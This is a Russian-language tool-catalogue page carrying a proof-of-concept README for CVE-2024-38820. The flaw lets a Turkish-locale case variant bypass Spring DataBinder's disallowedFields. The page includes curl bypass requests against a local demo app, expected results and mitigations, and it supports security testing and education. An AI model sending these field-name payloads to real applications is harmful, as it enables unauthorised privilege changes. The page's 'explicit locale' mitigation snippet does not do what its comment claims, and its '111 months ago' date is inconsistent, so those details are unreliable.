Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2024-38820 — PoC-эксплойт для CVE-2024-38820, демонстрирующий обход защиты disallowedFields в Spring Framework DataBinder через преобразование регистра, зависящее от локали, с автоматическим тестированием и рекомендациями по смягчению. | Kitploit
Инструменты/GitHubGitHub/kadamnayan/poc-cve-2024-38820
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubkadamnayan/poc-cve-2024-38820

POC-CVE-2024-38820

PoC-эксплойт для CVE-2024-38820, демонстрирующий обход защиты disallowedFields в Spring Framework DataBinder через преобразование регистра, зависящее от локали, с автоматическим тестированием и рекомендациями по смягчению.

Репозиторий
111 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-38820 Доказательство концепции

Обзор

Этот проект демонстрирует CVE-2024-38820 — уязвимость в DataBinder Spring Framework, которая позволяет обходить защиту disallowedFields из-за проблем преобразования регистра, зависящих от локали.

Сведения об уязвимости

  • Идентификатор CVE: CVE-2024-38820
  • Затронутый компонент: DataBinder Spring Framework
  • Корневая причина: поведение String.toLowerCase() зависит от локали
  • Воздействие: обход защиты полей, потенциальное повышение привилегий

Проблема

Исправление для CVE-2022-22968 сделало шаблоны disallowedFields нечувствительными к регистру с помощью String.toLowerCase(). Однако у этого метода есть исключения, зависящие от локали:

  • В турецкой локали: "ADMINID".toLowerCase() превращается в "adminıd" (с ı без точки)
  • В английской локали: "ADMINID".toLowerCase() превращается в "adminid"
  • Эта разница может позволить атакующим обойти защиту полей, используя определённые варианты регистра.

    Структура проекта

    root@kitploit:~
    src/
    ├── main/java/com/example/demo/
    │   ├── DemoApplication.java          # Spring Boot main class
    │   ├── controller/UserController.java # Vulnerable controller with @InitBinder
    │   └── model/UserInfo.java           # Model with protected adminId field
    └── resources/application.properties   # Locale configuration
    
    test-cve-2024-38820.sh                # Automated test script
    pom.xml                               # Maven dependencies (Spring 5.3.39 - vulnerable)
    

    Быстрый старт

    1. Сборка и запуск

    root@kitploit:~
    # Build the project
    mvn clean compile
    
    # Run the application
    mvn spring-boot:run
    

    Приложение будет запущено на http://localhost:8081

    2. Ручное тестирование

    Посетите тестовую конечную точку, чтобы увидеть информацию о локали:

    root@kitploit:~
    http://localhost:8081/test
    

    Попробуйте различные варианты имён полей:

    root@kitploit:~
    # Normal case (should be blocked)
    curl "http://localhost:8081/user?username=test&adminId=999"
    
    # Uppercase (may bypass)
    curl "http://localhost:8081/user?username=test&ADMINID=999"
    
    # Mixed case (may bypass)  
    curl "http://localhost:8081/user?username=test&AdminId=999"
    
    # Turkish İ character (may bypass)
    curl "http://localhost:8081/user?username=test&ADMİNID=999"
    

    3. Автоматическое тестирование

    Запустите комплексный тестовый скрипт:

    root@kitploit:~
    ./test-cve-2024-38820.sh
    

    Ожидаемые результаты

    С турецкой локалью (tr_TR)

    • ✅ adminId=999 → ЗАБЛОКИРОВАНО (обычный регистр)
    • 🚨 ADMINID=999 → ОБХОД (верхний регистр)
    • 🚨 AdminId=999 → ОБХОД (смешанный регистр)
    • 🚨 ADMİNID=999 → ОБХОД (турецкая İ)

    С английской локалью (en_US)

    • ✅ adminId=999 → ЗАБЛОКИРОВАНО (обычный регистр)
    • ✅ ADMINID=999 → ЗАБЛОКИРОВАНО (защищено)
    • ✅ AdminId=999 → ЗАБЛОКИРОВАНО (защищено)

    Конфигурация

    Смена локали

    Отредактируйте src/main/resources/application.properties:

    root@kitploit:~
    # Turkish locale (vulnerable)
    spring.web.locale=tr_TR
    server.servlet.locale=tr_TR
    
    # English locale (protected)
    # spring.web.locale=en_US
    # server.servlet.locale=en_US
    

    Установка локали JVM

    Также можно установить локаль JVM по умолчанию:

    root@kitploit:~
    mvn spring-boot:run -Duser.language=tr -Duser.country=TR
    

    Анализ уязвимости

    Поток выполнения

    1. Обработка запроса: Spring получает HTTP-запрос с параметрами
    2. Настройка DataBinder: @InitBinder настраивает disallowedFields("adminId")
    3. Сопоставление полей: Spring использует сопоставление без учёта регистра с помощью toLowerCase()
    4. Проблема с локалью: в турецкой локали "ADMINID".toLowerCase() ≠ "adminid"
    5. Обход: защита полей не срабатывает, adminId устанавливается

    Отладочный вывод

    Приложение записывает подробную информацию:

    root@kitploit:~
    === CVE-2024-38820 PoC - Locale Information ===
    JVM Default Locale: tr_TR
    Test field 'ADMINID' toLowerCase(): 'adminıd'
    Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
    DataBinder configured with disallowed field: 'adminId'
    

    Затронутые версии

    • Spring Framework: 5.3.x (до 5.3.40), 6.0.x (до 6.0.24), 6.1.x (до 6.1.13)
    • Spring Boot: версии 2.x и 3.x, использующие затронутые версии Spring Framework

    Меры по смягчению

    1. Обновите Spring Framework

    • Spring Framework 5.3.40+
    • Spring Framework 6.0.24+
    • Spring Framework 6.1.13+

    2. Явное указание локали

    Используйте сопоставление полей с учётом локали:

    root@kitploit:~
    @InitBinder
    public void initBinder(WebDataBinder dataBinder) {
        // Use English locale explicitly
        dataBinder.setDisallowedFields("adminId");
        // Additional protection: check field names with specific locale
    }
    

    3. Собственная проверка полей

    Реализуйте собственную проверку полей, не полагающуюся на операции, зависящие от локали.

    Ссылки

    • CVE-2024-38820 - NVD
    • Рекомендации по безопасности Spring Framework
    • Связанный CVE-2022-22968

    Правовое уведомление

    Это доказательство концепции предназначено только для образовательных целей и исследований в области безопасности. Используйте ответственно и только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.

    Скачать инструмент